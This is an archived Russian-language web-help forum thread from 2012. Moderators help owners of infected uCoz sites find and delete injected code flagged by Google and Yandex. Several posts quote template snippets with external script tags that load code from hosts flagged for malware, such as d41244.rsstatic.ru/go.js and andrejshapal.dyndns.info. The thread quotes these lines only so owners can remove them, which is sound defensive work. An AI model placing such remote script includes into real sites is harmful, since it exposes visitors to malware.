Модератор форума: Yuri_G  
Вирусы на сайтах_3 (архив для чтения)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 226 | 23:01:15
Doker_rus4, проблема из-за этого

Quote
<tr><td colspan="2" align="center" height="37" style="background:url('/.s/t/997/2.gif');font-size:10px;color:#A1A1A1;font-weight:bold;"><a href="http://muzyaka.pp.ua/" title="Новинки Mp3">Новинки Mp3</a> | <a href="http://muzyaka.pp.ua/index/partnjory/0-12" title="Партнёры">Партнёры</a> |<a href="http://muzyaka.pp.ua/publ" title="Скачать Альбомы">Альбомы</a> | <a href="http://muzyaka.pp.ua/load/populjarnaja_muzyka/2" title="Новинки популярной музыки">Pop, Euro-pop</a> | <a href="http://muzyaka.pp.ua/load/klubnaja_muzyka/4" title="Новинки клубной музыки">Club & Dance</a> | <a href="http://muzyaka.pp.ua/load/electro_progressive_house/5" title="Новинки Electro, Progressive House">House, Electro</a> | <a href="http://muzyaka.pp.ua/load/r_39_n_39_b_rap_hip_hop/6" title="Новинки R'n'B, Rap, Hip-hop">R'n'B,Rap,Hip-hop</a> | <a href="http://muzyaka.pp.ua/load/russkij_rep_khip_khop/7" title="Новинки Русского репа, хип-хопа">Русский рэп</a> | <a href="http://muzyaka.pp.ua/load/rok_alternativa/8" title="Новинки Рок музыки">Рок, Альтернатива</a> | <a href="http://muzyaka.pp.ua/load/shanson/10" title="Скачать шансон">Шансон</a> | <a href="http://muzyaka.pp.ua/news" title="Топ 100 новых Mp3">Топ 100 Mp3</a></td></tr>

<tr>
<td valign="top" width="175" style="padding-right:1px;">

<!--U1CLEFTER1Z--><!-- <block7688> -->


из кода блока администраторы удалить

Quote
<center><a href="skype:muzyaka.pp.ua?call">


из поиска мп3 удалить все ссылки

в общем нужно удалить все ссылки с сайта http://muzyaka.pp.ua/ пару выделила красным остальное ищите сами и удаляйте. сайт под блоком безопасности. вы пошли паровозом, так как у вас часть кода посвящена зараженному домену

домен нерабочий. зачем ссылки на него?

не подгружайте ничего со стороны
очистите и сделайте в вебмастере напротив ссылок перепроверку

Code
<script language="JavaScript" type="text/javascript"><!--
var lRCMessage = "А ты накуй воруешь чужие идеи тебе больше нечего делать а цуко ты ";

function new_rightclick(e) {

if (navigator.appName == 'Netscape' && (e.which == 2 || e.which == 3))
{
alert(lRCMessage);
return false;
}
else if (navigator.appName == 'Microsoft Internet Explorer' && (event.button==2 || event.button == 3)) {
alert(lRCMessage);
return false;.. и так далее...

это не очень умно и совесм не нужно. особенно круты выражения в коде. иногда яндекс страноо на такие шедевры реагирует

удалить!

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Doker_rus4
Сообщений: 9
Репутация: 0

Сообщение # 227 | 02:47:37
webanet,
все сделал и проверял вот что показывать

Нормализованная URL: http://hiphop-rap.tj/~~V
Определение соотношения: 1/28
Анализ дате: 2012-07-09 22:44:24 UTC (2 минут назад)
Файл проверки: Содержание URL ответ не может быть восстановлена ​​или это какой-то текстовый формат (HTML, XML, CSV, TXT и т.д.), следовательно, оно не было поставлено в очередь для антивирусного сканирования.

Яндекс Safebrowsing Вредоносных сайтов
Virus1996
Сообщений: 1
Репутация: 0

Сообщение # 228 | 17:55:37
Доброго времени суток!Яндекс пометил уже сайт,а гугл в норме.
Помогите найти вирус http://pardon.ucoz.ru/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 229 | 21:34:25
Doker_rus4,
Quote
03.07.2012
http://hiphop-rap.tj/
Mal/Badsrc-K
у вас есть инфо по заражению на главной. отдайте главную на проверку

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 230 | 21:37:52
Virus1996, какой вердикт стоит в вебмастере? и сайт уже чистился?

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Doker_rus4
Сообщений: 9
Репутация: 0

Сообщение # 231 | 00:54:23
Quote (webanet)
у вас есть инфо по заражению на главной. отдайте главную на проверку

не знаю кому что дать
Швабракадабра
Сообщений: 268
Репутация: 77

Сообщение # 232 | 00:55:43
Doker_rus4, в этом топике в первом сообщении всё описано.

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 233 | 01:55:48
Doker_rus4, в вебмастере на перепроверку отдайте главную

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
SanSeich7779
Сообщений: 3
Репутация: 2

Сообщение # 234 | 15:25:52
1. Сайт: geosite.com.ua - сообщение "Внимание! Обнаружена проблема!"
2. Сообщение появляется и под логином, и под гостем
3. антивирус - АВАСТ. Другие антивирусы блокируют тоже
4. браузер - ХРОМ.
Текст блокировки:

"Внимание! Обнаружена проблема!
geosite.com.ua содержит материалы сайта d41244.rsstatic.ru, который, по имеющимся данным, распространяет вредоносное ПО. Ваш компьютер может подвергнуться вирусной атаке при посещении этого сайта.
Google обнаружил, что на ваш компьютер могут быть установлены вредоносные программы, если вы продолжите просмотр этого сайта. Если вы посещали его в прошлом или доверяете ему, вполне возможно, что он недавно был взломан хакерами. Рекомендуется прекратить просмотр и посетить сайт завтра либо перейти на другой сайт.
Мы уже сообщили владельцу сайта d41244.rsstatic.ru о том, что на его сайте найдено вредоносное ПО. Подробнее о проблемах, обнаруженных на d41244.rsstatic.ru, можно узнать на странице Google Страница диагностики безопасного просмотра."
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 235 | 15:30:10
SanSeich7779, из шаблонов материала и комментария к нему (новости сайта) выделенное красным удалите

Quote
<!--U1GOOLEGOR1Z--><script src="http://d41244.rsstatic.ru/go.js"></script>
<noindex><script type="text/javascript"><!--
google_ad_client = "pub-5862360808189675";
/* 468x15, создано 04.01.09 */
google_ad_slot = "1719202920";
google_ad_width = 468;
google_ad_height = 15;
//-->
</script>
стоит прямо перед рекламой гугла

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
SanSeich7779
Сообщений: 3
Репутация: 2

Сообщение # 236 | 15:54:32
Большое спасибо! Выделенное нашёл и удалил. Когда перестанет появляться сообщение о вирусе? Я так понимаю, это будет попозже?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 237 | 16:09:08
SanSeich7779, это будет после перепроверки сайта гуглом. снимается не сразу.

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
pu
Сообщений: 4
Репутация: 0

Сообщение # 238 | 20:28:18
Сайт: http://rgkinozaltv.clan.su/
Google, Yandex блокируют сайт.
http://www.google.com/safebro....te=http

Все скрипты писал сам, реклама от надёжных партнёров. Всё облазил, ничего схожего на вирус найти не смог.
Drinko
Сообщений: 909
Репутация: 773

Сообщение # 239 | 20:45:41
pu, кликандер от адвмейкера - тоже проверенный партнер?:

Code
<script type="text/javascript" src="http://c.am11.ru/code/pop/andrejshapal.js"></script>


А вы знаете, что именно они откручиваю и куда перенапраляют трафик? И кстати - они давно сменили коды, и у них теперь другой домен открутки.

PS
И еще - это что за код в самом верху?:
Code
<script type="text/javascript" src="http://andrejshapal.dyndns.info/?get_code"></script>

Сообщение отредактировал Drinko - Суббота, 14 Июл 2012, 20:47:57
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 240 | 21:17:16
pu, удалите связку

Quote
<title>R.G. - Кинозал.ТВ - Главная страница</title>

<script type="text/javascript" src="http://andrejshapal.dyndns.info/?get_code"></script>
<link type="text/css" rel="StyleSheet" href="/_st/my.css" />


и в самом низу

Quote
</div>
</div>
<script type="text/javascript" src="http://c.am11.ru/code/pop/andrejshapal.js"></script>
</body>

выделенное красным удалить. детектируемое содержание. потом ждите перепроверки или гуглу на пересмотр и яндексу в вебмастере на перепроверку

проблема на главной

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Поиск: